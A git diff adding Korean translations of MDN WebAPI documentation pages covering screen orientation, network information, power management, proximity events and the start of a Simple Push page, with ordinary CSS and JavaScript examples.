+<h2 class="Documentation" id="Data_management_APIs" name="Data_management_APIs">Data management APIs</h2>
+
+<dl>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">FileHandle API</a></dt>
+ <dd>Provides support for writable files with locking support.</dd>
+ <dt><a href="/ko/docs/IndexedDB" title="IndexedDB">IndexedDB</a></dt>
+ <dd>고성능 검색을 지원하는 클라이언트측의 구조화된 데이터 저장소입니다.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/WebAPI/Settings" title="WebAPI/Settings">Settings API</a> {{NonStandardBadge}}</dt>
+ <dd>Lets apps examine and change system-wide configuration options that are permanently stored on the device.</dd>
+</dl>
+
+<h2 class="Documentation" id="Other_APIs" name="Other_APIs">Other APIs</h2>
+
+<dl>
+ <dt><a href="/ko/docs/WebAPI/Alarm" title="WebAPI/Alarm">Alarm API</a></dt>
+ <dd>Lets apps schedule notifications. Also provides support for automatically launching an app at a specific time.</dd>
+ <dt><a href="/ko/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">Simple Push API</a></dt>
+ <dd>Lets the platform send notification messages to specific applications.</dd>
+ <dt><a href="/ko/docs/WebAPI/Using_Web_Notifications" title="/ko/docs/WebAPI/Using_Web_Notifications">Web Notifications</a></dt>
+ <dd>Lets applications send notifications displayed at the system level.</dd>
+ <dt><a href="/ko/docs/Apps" title="Apps">Apps API</a> {{NonStandardBadge}}</dt>
+ <dd>The Open WebApps API provides support for installing and managing Web apps. In addition, support is provided to let apps determine payment information.</dd>
+ <dt><a href="/ko/docs/WebAPI/Web_Activities" title="WebAPI/Web_Activities">Web Activities</a> {{NonStandardBadge}}</dt>
+ <dd>Lets an app delegate an activity to another app; for example, an app might ask another app to select (or create) and return a photo. Typically the user is able to configure what apps are used for which activities.</dd>
+ <dt><a href="/ko/docs/Apps/Publishing/In-app_payments" title="Apps/Publishing/In-app_payments">WebPayment API</a> {{NonStandardBadge}}</dt>
+ <dd>Lets Web content initiate payments and refunds for virtual goods.</dd>
+ <dt><a href="/ko/docs/DOM/Using_the_Browser_API" title="DOM/Using_the_Browser_API"><strong>Browser API</strong></a> {{NonStandardBadge}}</dt>
+ <dd>Provides support for building a Web browser completely using Web technologies (in essence, a browser within a browser).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/WebAPI/Idle" title="WebAPI/Device_Storage_API">Idle API</a></dt>
+ <dd>Lets apps receive notifications when the user is not actively using the device.</dd>
+ <dt><a href="/ko/docs/WebAPI/Permissions" title="WebAPI/Permissions">Permissions API</a> {{NonStandardBadge}}</dt>
+ <dd>Manages app permissions in a centralized location. Used by the Settings app.</dd>
+ <dt><a href="/ko/docs/WebAPI/Time_and_Clock" title="WebAPI/Time_and_Clock">Time/Clock API</a> {{NonStandardBadge}}</dt>
+ <dd>현재 시각을 설정할 수 있게 해 줍니다. 시간대는 <a href="/ko/docs/WebAPI/Settings" title="WebAPI/Settings">Settings API</a>를 이용해서 설정할 수 있습니다.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community">WebAPI community</h2>
+
+<p>If you need help with these APIs, there are several ways you can talk to other developers making use of them.</p>
+
+<ul>
+ <li>Consult the WebAPI forum: {{DiscussionList("dev-webapi", "mozilla.dev.webapi")}}</li>
+ <li>Visit the WebAPI IRC channel: <a href="irc://irc.mozilla.org/webapi" title="irc://irc.mozilla.org/webapi">#webapi</a></li>
+</ul>
+
+<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+
+<ul>
+ <li>The <a href="/ko/docs/Document_Object_Model_(DOM)" title="Document Object Model (DOM)">Document Object Model (DOM)</a> is the representation of an HTML document as a tree.</li>
+ <li><a href="/ko/docs/JavaScript" title="JavaScript">JavaScript</a> - Scripting language for the Web.</li>
+ <li><a href="/ko/docs/WebAPI/Doc_status" title="WebAPI/Doc_status">Doc status</a>: A list of WebAPI topics and their documentation status.</li>
+</ul>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/ko/webapi/managing_screen_orientation/index.html b/files/ko/webapi/managing_screen_orientation/index.html
new file mode 100644
index 0000000000..934384d0bf
--- /dev/null
+++ b/files/ko/webapi/managing_screen_orientation/index.html
@@ -0,0 +1,136 @@
+---
+title: Managing screen orientation
+slug: WebAPI/Managing_screen_orientation
+translation_of: Web/API/CSS_Object_Model/Managing_screen_orientation
+---
+<p>{{SeeCompatTable}}</p>
+<h2 id="Summary">Summary</h2>
+<p>Screen orientation 은 <a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">device orientation</a> 과는 조금 다르다. 비록 장치가 방향을 감지 못하더라도 화면은 언제나 방향을 가지고 있다. 그리고 만약 장치가 방향을 알 수 있더라도 웹 어플리케이션의 인터페이스를 유지하거나 적응하기 위해 화면의 방향을 조정하는 능력을 갖는게 좋다.</p>
+<p>화면의 방향을 다루기 위한 여러 방법이 있는데, CSS 와 JavaScript 이다. 첫 번째는 <a href="/en-US/docs/CSS/Media_queries#orientation" title="en-US/CSS/Media queries#orientation">orientation media query</a> 이다. 이것은 내용이 CSS를 사용해서 레이아웃을 조정하게 하는데,  브라우저 창이 가로 모드 (너비가 높이보다 큼) 또는 세로모드 (높이가 너비보다 큼) 여부에 달려 있다.</p>
+<p>두번째 방법은 JavaScript Screen orientation API 인데 이것은 화면의 현재 방향을 구하고 잠그는데 사용할 수 있다.</p>
+<h2 id="Adjusting_layout_based_on_the_orientation">Adjusting layout based on the orientation</h2>
+<p>방향 변환에서 가장 흔한 케이스 중 하나는 장치의 방향에 따라 내용의 레이아웃을 조정 하는 것이다. 예를 들자면, 당신은 버튼바를 장치 화면의 가장 긴 크기로 펼치고 싶어 할 수 있는데, media query를 이용해서 쉽고 자동으로 할 수 있다.</p>
+<p>다음의 HTML code 예제를 보자</p>
+<pre class="brush: html">&lt;ul id="toolbar"&gt;
+  &lt;li&gt;A&lt;/li&gt;
+  &lt;li&gt;B&lt;/li&gt;
+  &lt;li&gt;C&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. In ac est dolor, quis tincidunt leo. Cras commodo quam non tortor consectetur eget rutrum dolor ultricies. Ut interdum tristique dapibus. Nullam quis malesuada est.&lt;/p&gt;
+</pre>
+<p>CSS 는 화면 방향에 따라 <span style="line-height: inherit;">특정 스타일을 을 </span><span style="line-height: inherit;">다루기 위해 orientation media query 에 의존한다</span></p>
+<pre class="brush: css">/* First let's define some common styles */
+
+html, body {
+  width : 100%;
+  height: 100%;
+}
+
+body {
+  border: 1px solid black;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+p {
+  font   : 1em sans-serif;
+  margin : 0;
+  padding: .5em;
+}
+
+ul {
+  list-style: none;
+
+  font   : 1em monospace;
+  margin : 0;
+  padding: .5em;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+
+  background: black;
+}
+
+li {
+  display: inline-block;
+  margin : 0;
+  padding: 0.5em;
+  background: white;
+}
+</pre>
+<p>Once we have some common styles we can start defining a special case for the orientation</p>
+<pre class="brush: css">/* For portrait, we want the tool bar on top */
+
+@media screen and (orientation: portrait) {
+  #toolbar {
+    width: 100%;
+  }
+}
+
+/* For landscape, we want the tool bar stick on the left */
+
+@media screen and (orientation: landscape) {
+  #toolbar {
+    position: fixed;
+    width: 2.65em;
+    height: 100%;
+  }
+
+  p {
+    margin-left: 2em;
+  }
+
+  li + li {
+    margin-top: .5em;
+  }
+}
+</pre>
+<p>실행 결과를 보자</p>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Portrait</th>
+   <th scope="col">Landscape</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 180, 350) }}</td>
+   <td>{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 350, 180) }}</td>
+  </tr>
+ </tbody>
+</table>
+<div class="note">
+ <p><strong>Note:</strong> orientation media query 는 실제로 브라우저 창 (또는 iframe) 의 방향에 따라 적용한다. 장치의 방향이 아니다.</p>
+</div>
+<h2 id="Locking_the_screen_orientation">Locking the screen orientation</h2>
+<div class="warning">
+ <p><strong>Warning:</strong> 이 API 는 실험적이며 현재 <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> 와 <a href="/en-US/docs/Mozilla/Firefox_for_Android" title="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android</a> 에서 <code>moz</code> 접두사를 이용하여 사용할 수 있다.</p>
+</div>
+<p>몇몇 장치들은 (주로 모바일 장치) 사용자가 언제나 화면을 읽을 수 있게 장치의 방향에 따라 동적으로 화면의 방향을 변화시킬 수 있다. 만약 이러한 행위가 텍스트 컨텐츠에 적합하다면, 이러한 변화 때문에 고통 받을 수 있는 켄텐츠도 있다. 예를 들어, 장치의 방향에 따른 게임들은 이러한 방향전환 때문에 혼란스러울 수 있다.</p>
+<p>Screen Orientation API 는 정확히 그러한 변화를 방지하기 위해 만들어졌다.</p>
+<h3 id="Listening_orientation_change">Listening orientation change</h3>
+<p>{{event("orientationchange")}} 이벤트는 장치가 화면의 방향을 변환할 때와 <span style="line-height: inherit;">방향이  {{domxref("window.screen.orientation","screen.orientation")}} 속성과 함께 읽혀질 때 </span><span style="line-height: inherit;">마다 불려 진다.  </span></p>
+<pre class="brush: js">screen.addEventListener("orientationchange", function () {
+  console.log("The orientation of the screen is: " + screen.orientation);
+});
+</pre>
+<h3 id="Preventing_orientation_change">Preventing orientation change</h3>
+<p>모든 웹 어플리케이션은 필요에 따라 스크린을 잠굴 수 있다. 화면은 {{domxref("window.screen.lockOrientation","screen.lockOrientation()")}} 함수를 사용하여 잠그고 {{domxref("window.screen.unlockOrientation","screen.unlockOrientation()")}}. 함수로 잠금 해제 한다.</p>
+<p>{{domxref("window.screen.lockOrientation","screen.lockOrientation()")}} 는 적용 할 잠금의 종류를 정의하는 문자열 <span style="line-height: inherit;"> (또는 일련의 문자열) </span><span style="line-height: inherit;">을 수용한다. 수용하는 값들: </span><code style="font-size: 14px; line-height: inherit;">portrait-primary</code><span style="line-height: inherit;">, </span><code style="font-size: 14px; line-height: inherit;">portrait-secondary</code><span style="line-height: inherit;">, </span><code style="font-size: 14px; line-height: inherit;">landscape-primary</code><span style="line-height: inherit;">, </span><code style="font-size: 14px; line-height: inherit;">landscape-secondary</code><span style="line-height: inherit;">, </span><code style="font-size: 14px; line-height: inherit;">portrait</code><span style="line-height: inherit;">, </span><code style="font-size: 14px; line-height: inherit;">landscape</code><span style="line-height: inherit;"> (각각의 값들에 대해 좀 더 알려면  {{domxref("window.screen.lockOrientation","lockOrientation")}}  를 보라).</span></p>
+<pre class="brush: js">screen.lockOrientation('landscape');</pre>
+<div class="note">
+ <p><strong>Note:</strong> 화면 잠금은 웹 어플리케이션에 따라 다르다. 어플레케이션 A이 가로모드로 잠겨 있고 어플레케이션 B가 세로모드로 잠겨 있을 때, 어플리케이션을 A 에서 B 로 또는 B 에서 A 로 전환하면 {{event("orientationchange")}} 를 호출하지 않는다. 왜냐하면 각 어플리케이션은 각자의 방향을 유지 하기 때문이다.</p>
+ <p>그러나, 만약 잠금요구를 만족하기 위해 방향이 바뀌어야한다면 화면잠금은 {{event("orientationchange")}} 이벤트를 호출 할 수 있다.</p>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{domxref("window.screen.orientation","screen.orientation")}}</li>
+ <li>{{domxref("window.screen.lockOrientation()","screen.lockOrientation()")}}</li>
+ <li>{{domxref("window.screen.unlockOrientation()","screen.unlockOrientation()")}}</li>
+ <li>{{domxref("window.screen.onorientationchange","screen.onorientationchange")}}</li>
+ <li><a href="/en-US/docs/CSS/Media_queries#orientation" title="en-US/CSS/Media queries#orientation">The orientation media query</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2009/06/media-queries/" title="http://hacks.mozilla.org/2009/06/media-queries/">A short introduction to media queries in Firefox 3.5</a></li>
+</ul>
diff --git a/files/ko/webapi/network_information/index.html b/files/ko/webapi/network_information/index.html
new file mode 100644
index 0000000000..9526bd2d5f
--- /dev/null
+++ b/files/ko/webapi/network_information/index.html
@@ -0,0 +1,46 @@
+---
+title: Network Information API
+slug: WebAPI/Network_Information
+translation_of: Web/API/Network_Information_API
+---
+<p>{{ SeeCompatTable() }}</p>
+<p>네트워크 정보 API는 사용자 기기의 현재 대역폭이나 과금이 되는 연결인지와 같은 시스템의 연결 정보를 알려줍니다. 이를 이용해서 사용자에게 높은 용량의 콘텐츠를 제공할지 낮은 용량의 콘텐츠를 제공할지 사용자의 연결 상태에 따라서 제공할 수 있습니다. 전체 API는 DOM에 추가된 단일한 객체로 구성되어 있습니다: {{domxref("window.navigator.connection")}}.</p>
+<h2 id="연결상태_변경_감지">연결상태 변경 감지</h2>
+<p>이 예제는 사용자의 연결상태 변화를 감시합니다. 사용자가 비싼 망에서 싼 망으로 이동할 때 사용자가 추가적인 비용을 지불하지 않게 하기 위해서 전송량을 감소시키는 등과 같은 행동을 할 수 있게 앱이 경고를 하는 일과 비슷합니다.</p>
+<pre class="brush: js">var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+
+function updateConnectionStatus() {
+  alert("Connection bandwidth: " + connection.bandwidth + " MB/s");
+  if (connection.metered) {
+    alert("The connection is metered!");
+  }
+}
+
+connection.addEventListener("change", updateConnectionStatus);
+updateConnectionStatus();
+</pre>
+<h2 id="Specifications" name="Specifications">명세</h2>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Specification</th>
+      <th scope="col">Status</th>
+      <th scope="col">Comment</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>{{ SpecName('Network Information', '', 'Network Information API') }}</td>
+      <td>{{ Spec2('Network Information') }}</td>
+      <td>Initial specification</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+<p>{{Page('/en-US/docs/Web/API/window.navigator.connection','Browser compatibility')}}</p>
+<h2 id="관련_내용">관련 내용</h2>
+<ul>
+  <li>{{ spec("http://dvcs.w3.org/hg/dap/raw-file/tip/network-api/Overview.html", "Network Information API Specification", "ED") }}</li>
+  <li><a href="/en/Online_and_offline_events" title="en/Online_and_offline_events">Online and offline events</a></li>
+  <li>{{domxref("window.navigator.connection")}}</li>
+</ul>
diff --git a/files/ko/webapi/power_management/index.html b/files/ko/webapi/power_management/index.html
new file mode 100644
index 0000000000..b96447b466
--- /dev/null
+++ b/files/ko/webapi/power_management/index.html
@@ -0,0 +1,102 @@
+---
+title: Power Management
+slug: WebAPI/Power_Management
+translation_of: Archive/B2G_OS/API/Power_Management_API
+---
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="요약">요약</h2>
+<p>전력 관리 API는 기기의 전력 소모를 관리하는 도구를 제공합니다.</p>
+<h2 id="전력_관리">전력 관리</h2>
+<p>전력 관리는 과도한 연산이나 화면을 다시그리는 등과 같은 실제 전력과는 조금 다릅니다. 이 모든 것이 다 전력 관리에 들어가게 됩니다. 하지만 전력 관리 API는 직접적인 전력 소모(화면, CPU 등)에 보다 집중합니다. 전력 관리에 대한 주요 인터페이스는 {{domxref("PowerManager")}} 인터페이스의 인스턴스인 {{domxref("window.navigator.mozPower","navigator.mozPower")}}를 통해서 접근합니다.</p>
+<h3 id="기본_전력_처리">기본 전력 처리</h3>
+<p>{{domxref("PowerManager")}} 인터페이스는 기본 전력 처리 인터페이스를 제공합니다.</p>
+<h4 id="전역_전력_처리">전역 전력 처리</h4>
+<p>{{domxref("PowerManager.powerOff()","powerOff()")}} 메서드를 사용해서 아주 쉽게 기기의 전원을 끌 수 있고 {{domxref("PowerManager.reboot()","reboot()")}} 메서드를 통해서는 재부팅도 할 수 있습니다.</p>
+<pre class="brush: js">navigator.mozPower.powerOff();</pre>
+<h4 id="화면_전력_처리">화면 전력 처리</h4>
+<p>화면은 읽기/쓰기 속성인 {{domxref("PowerManager.screenEnabled","screenEnabled")}}를 이용해서 켜고 끌 수 있습니다. 또한 화면의 밝기도 변경할 수 있습니다. 읽기/쓰기 속성인 {{domxref("PowerManager.screenBrightness","screenBrightness")}}를 이용해서 변경할 수 있고 0(아주 어두움)에서 1(최대 밝기)까지의 값을 이용해서 화면의 백라이트 밝기를 설정할 수 있습니다.</p>
+<pre class="brush: js">// It doesn't make sense to change the brightness if the screen is off
+if (navigator.mozPower.screenEnabled) {
+  navigator.mozPower.screenBrightness = 0.5;
+}</pre>
+<h4 id="CPU_전력_처리">CPU 전력 처리</h4>
+<p>CPU를 직접 끄는 일은 가능하지 않지만 화면이 꺼져 있을 때에는 CPU가 꺼져도 되는지 아닌지를 알릴 수 있습니다. 이는 {{domxref("PowerManager.cpuSleepAllowed","cpuSleepAllowed")}}를 이용해서 설정할 수 있습니다. 이는 기기의 CPU가 화면이 꺼지거나(<code>true</code>) 켜져 있을(<code>false</code>) 때 잠자기 모드로 들어갈 수 있는지를 결정합니다; 화면이 켜져있다면 정지모드로 들어가지 않게 합니다.</p>
+<h3 id="향상된_전력_처리">향상된 전력 처리</h3>
+<p>전력 관리는 전력을 다루는 어플리케이션이 다른 어플리케이션의 요청에 대해 알림을 받을 수 있다면 더 잘 다뤄질 수 있습니다. 예를 들어서 사용자가 동영상을 보고 있다면 몇 초 후에 화면을 자동으로 끄지 않는 것이 더 좋을 수 있습니다.</p>
+<h4 id="잠금_해제_요청">잠금 해제 요청</h4>
+<p>어떤 어플리케이션이든 잠금 해체를 요청할 수 있습니다. 잠금 해제는 기기의 자원이 꺼지지 않도록 요청하는 방법입니다. 잠금 해체는 {{domxref("window.navigator.requestWakeLock","navigator.requestWakeLock()")}} 메서드를 통해서 요청됩니다.</p>
+<p>잠금 해제는 다양한 이유로 사용할 수 없게 되는 특정 자원에 대한 요청입니다. 예를 들어서 모바일 기기의 전력 관리 기능은 전력 소모를 줄이기 위해서 어느정도 사용을 안하고 있으면 화면을 끕니다. 그 자원을 사용하는 어플리케이션은 자원이 꺼지기 전에 자원의 잠금 상태를 확인합니다. 예를 들어서 페이지는 화면 보호기가 나타나거나 화면이 꺼지는 것을 막기 위해서 <code>screen</code>에 대한 잠금을 막을 수 있습니다.</p>
+<p>기본 설정으로 Firefox OS는 <code>screen</code>과 <code>cpu</code>, <code>wifi</code> 자원에 대한 잠금 허용을 합니다. 하지만 자원을 다루는 어떤 어플리케이션도 자원의 이름을 설정하고 잠금에 대한 정책을 정할 수 있습니다. 예를 들어서 자원 관리 기능은 현재 보이지 않는 어플리케이션이 <code>screen</code>에 대한 설정한 잠금 해제를 무시할 수 있습니다.</p>
+<pre class="brush: js">var lock = navigator.requestWakeLock('screen');</pre>
+<p>{{domxref("window.navigator.requestWakeLock","requestWakeLock")}} 메서드는 잠금을 할 자원의 이름을 나타내는 <code>topic</code> 속성을 가지고 있는 객체를 반환합니다. <code>unlock()</code> 메서드는 잠금을 수동으로 반환하는데 사용합니다. 어플리케이션이 종료(대기 상태가 아닌 실제 종료)된다면 자동으로 모든 잠금 요청이 해제됩니다.</p>
+<h4 id="잠금_해제_다루기">잠금 해제 다루기</h4>
+<p>잠금을 관리할 수 있는 인증된 애플리케이션은 잠금 상태가 변경되게 되면 알림을 받습니다. 실제로 전력을 관리하고자 하는 모든 애플리케이션은 <code>screen</code>과 <code>cpu</code>의 잠금 상태를 추적하고 있어야 합니다. 이는 {{domxref("PowerManager.addWakeLockListener()")}} 메서드를 통해 이루어집니다({{domxref("PowerManager.removeWakeLockListener()","")}} 메서드를 이용해서 잠금 요청에 대한 추적을 멈출 수 있습니다).</p>
+<p>{{domxref("PowerManager.addWakeLockListener()","addWakeLockListener")}} 메서드에는 두개의 파라메터를 전달 받는 콜백함수를 전달해야 합니다: 첫번째 문자열은 다룰 자원(여기서는 <code>screen</code>이나 <code>cpu</code>)을 나타내고 두번째 문자열은 잠금 상태를 나타냅니다.</p>
+<p>잠김은 세가지 상태가 있습니다:</p>
+<dl>
+  <dt>
+    <code>unlocked</code></dt>
+  <dd>
+    주어진 자원에 대해 잠금 해제를 할 수 없습니다.</dd>
+  <dt>
+    <code>locked-foreground</code></dt>
+  <dd>
+    최소한 하나의 어플리케이션이 잠금 해제를 제어 할 수 있고 그 어플리케이션은 보이는 상태입니다..</dd>
+  <dt>
+    <code>locked-background</code></dt>
+  <dd>
+    최소한 하나의 어플리케이션이 잠금 해제를 제어하지만 모든 애플리케이션이 보이지 않는 상태입니다.</dd>
+</dl>
+<pre class="brush: js">// This is used to keep track of the last change on the lock state
+var screenTimeout;
+
+// A reference to the Power Manager
+var power = window.navigator.mozPower;
+
+// Here are the actions to handle based on the lock state
+var powerAction = {
+
+  // If there is no lock at all, we will suspend the device:
+  // * Turn the screen off
+  // * Allow the cpu to shut down
+  unlocked: function suspendDevice() {
+    power.cpuSleepAllowed = true;
+    power.screenEnabled   = false;
+  },
+
+  // If there is a lock but the applications requesting it
+  // are all in the background, we just turn the screen off
+  'locked-background': function shutOffOnlyScreen() {
+    power.cpuSleepAllowed = false;
+    power.screenEnabled   = false;
+  },
+
+  // At last, if there is an active application that requests a lock,
+  // actually there is nothing to do. That's the whole point.
+}
+
+function screenLockListener(topic, state) {
+  // If the lock is not about the screen, there is nothing to do.
+  if ('screen' !== topic) return;
+
+  // Each time the lock changes state, we stop any pending power management operations
+  window.clearTimeout(screenTimeout);
+
+  // If there is an action defined for the given state
+  if (powerAction[state]) {
+    // We delay that action by 3s
+    screenTimeout = window.setTimeout(powerAction[state], 3000);
+  }
+}
+
+// We make sure our power management application is listening for any change on locks.
+power.addWakeLockListener(screenLockListener);</pre>
+<h2 id="Specification" name="Specification">명세</h2>
+<p>관련된 명세가 없습니다.</p>
+<h2 id="관련_내용">관련 내용</h2>
+<ul>
+  <li>{{ domxref("window.navigator.mozPower","navigator.mozPower") }}</li>
+  <li>{{ domxref("PowerManager") }}</li>
+  <li>{{ domxref("window.navigator.requestWakeLock()","navigator.requestWakeLock()") }}</li>
+</ul>
diff --git a/files/ko/webapi/proximity/index.html b/files/ko/webapi/proximity/index.html
new file mode 100644
index 0000000000..ad1687ddd2
--- /dev/null
+++ b/files/ko/webapi/proximity/index.html
@@ -0,0 +1,119 @@
+---
+title: Proximity
+slug: WebAPI/Proximity
+translation_of: Web/API/Proximity_Events
+---
+<p>{{ SeeCompatTable }}</p>
+<h2 id="Summary">Summary</h2>
+<p>근접 이벤트는 사용자가 디바이스에 가까이 갔을때를 알 수 있는 간단한 벙법이다.</p>
+<p>예를 들어,  사용자가 전화가 걸려왔을 때 디바이스에 귀를 가까이 하면, 근접 이벤트들은 스마트폰의 화면이 꺼지게 하여 이러한 변화에 대응할 수 있게 해준다.</p>
+<div class="note">
+  <p><strong>Note:</strong> 당연히 이 API는 근접 센서를 가진 장치를 필요로 하며, 이 근접 센서는 대게 모바일 다비이스들에서만 이용 가능하다. 근접 센서가 없는 장치들에서는 근접 이벤트들을 지원할 수는 있을 지 몰라도 해당 이벤트들은 절대 발생하지 않을 것이다.</p>
+</div>
+<h2 id="Proximity_Events">Proximity Events</h2>
+<p>다비이스 근접 센서가 장치와 대상 사이의 변화를 감지했을 때, 센서는 그  변화를 브라우저에게 알린다. 브라우저는 그 알림을 받으면 그 변화에 대해 {{domxref("DeviceProximityEvent")}} 이벤트를 발생시킨다. 그리고 더 대략적인 변화(more rough change)를 알리기 위해  {{domxref("UserProximityEvent")}} 이벤트를 발생시킨다.</p>
+<p>window object 레벨에서  {{domxref("EventTarget.addEventListener","addEventListener")}} 메소드 ({{event("deviceproximity")}} 또는 {{event("userproximity")}} 이벤트명) 를 이용하여 근접 이벤트를 전달받을 수 있다. 또한 {{domxref("window.ondeviceproximity")}} 또는 {{domxref("window.onuserproximity")}} 프로퍼티에 이벤트 핸들러를 붙이는 방법으로도 이벤트를 전달받을 수 있다.</p>
+<p>일단 이벤트가 전달되면, 그 이벤트 오브젝트는 다음과 같은 여러 종류의 정보에 접근할 수 있게 해준다:</p>
+<ul>
+  <li> {{domxref("DeviceProximityEvent")}} 이벤트는 {{domxref("DeviceProximityEvent.value","value")}} 프로퍼티를 통해 디바이스와 대상 사이의 거리에 정확히 매치되는 값을 제공한다. 또한 이 이벤트는 장치가 감지할 수 있는 가장 가까운 거리, 가장 먼거리에 대한 정보를 {{domxref("DeviceProximityEvent.min","min")}} 와  {{domxref("DeviceProximityEvent.max","max")}} 프로퍼티 값을 통해 제공한다.</li>
+  <li>{{domxref("UserProximityEvent")}} 이벤트는 거리에 대한 대략적인 추정치를 boolean 형태로 제공한다. 대상과 디바이스가 가까운면   {{domxref("UserProximityEvent.near")}} 프로퍼티 값은 true 가 되고, 대상과의 거리가 멀다면 그 값은 false가 된다.</li>
+</ul>
+<h2 id="Example">Example</h2>
+<pre class="brush: js">window.addEventListener('userproximity', function(event) {
+  if (event.near) {
+    // let's power off the screen
+    navigator.mozPower.screenEnabled = false;
+  } else {
+    // Otherwise, let's power on the screen
+    navigator.mozPower.screenEnabled = true;
+  }
+});</pre>
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Specification</th>
+      <th scope="col">Status</th>
+      <th scope="col">Comment</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>{{ SpecName('Proximity Events', '', 'Proximity Events') }}</td>
+      <td>{{ Spec2('Proximity Events') }}</td>
+      <td>Initial specification</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>{{domxref("DeviceProximityEvent")}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatVersionUnknown()}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatNo()}}</td>
+      </tr>
+      <tr>
+        <td>{{domxref("UserProximityEvent")}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatVersionUnknown()}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatNo()}}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Android</th>
+        <th>Chrome for Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>{{domxref("DeviceProximityEvent")}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{ CompatGeckoMobile("15.0") }}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatNo()}}</td>
+      </tr>
+      <tr>
+        <td>{{domxref("UserProximityEvent")}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatVersionUnknown()}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatNo()}}</td>
+        <td>{{CompatNo()}}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+  <li>{{domxref("DeviceProximityEvent")}}</li>
+  <li>{{domxref("UserProximityEvent")}}</li>
+  <li>{{event("deviceproximity")}}</li>
+  <li>{{event("userproximity")}}</li>
+</ul>
diff --git a/files/ko/webapi/simple_push/index.html b/files/ko/webapi/simple_push/index.html
new file mode 100644
index 0000000000..0ff0fe3602
--- /dev/null
+++ b/files/ko/webapi/simple_push/index.html
@@ -0,0 +1,92 @@
+---
+title: Simple Push
+slug: WebAPI/Simple_Push
+translation_of: Archive/B2G_OS/API/Simple_Push_API
+---
+<p>{{ draft() }}{{ SeeCompatTable() }}</p>
+<p><a href="https://wiki.mozilla.org/WebAPI/SimplePush" title="https://wiki.mozilla.org/WebAPI/SimplePush">Simple Push API</a>, 다른 이름으로 푸시 알림 API는 알림을 받으면 앱이 깨어나는 기능을 제공한다. 앱은 서버와 공유할 수 있는 URI를 요청할 수 있는데, 다시 말해 앱에 전달될 버전 번호를 보낼 수 있다는 뜻이다. 이 기능은 동기화 메카니즘으로 사용될 수도 있고, 서드 파티 서버에서 최신 데이터를 가져오기 위해 쓸 수도 있다.</p>
+<p>심플푸시 API는 {{domxref("PushManager")}} 객체인 <code>push 속성을 가지고</code> {{domxref("window.navigator")}} 객체를 확장하고, 푸시 상태를 감지하기 위해 받을 수 있는 새 이벤트를 더한다.</p>
+<h2 id="예제">예제</h2>
+<p>이 예제는 푸시의 전체 설정을 다룬다. 다음 단계를 따라하자.</p>
+<ol>
+  <li>앱의 매니페스트 파일에 <code>push</code>를 허용하는 상태로 더한다.</li>
+  <li>endpoint를 요청하기 위해 <code>push.register()</code>를 호출한다.</li>
+  <li>endpoint를 서버에 보낸다.</li>
+  <li>앱 내부의 푸시 알림을 위한 메시지 핸들러를 더한다.</li>
+  <li>서버에서 알림을 보낸다..</li>
+</ol>
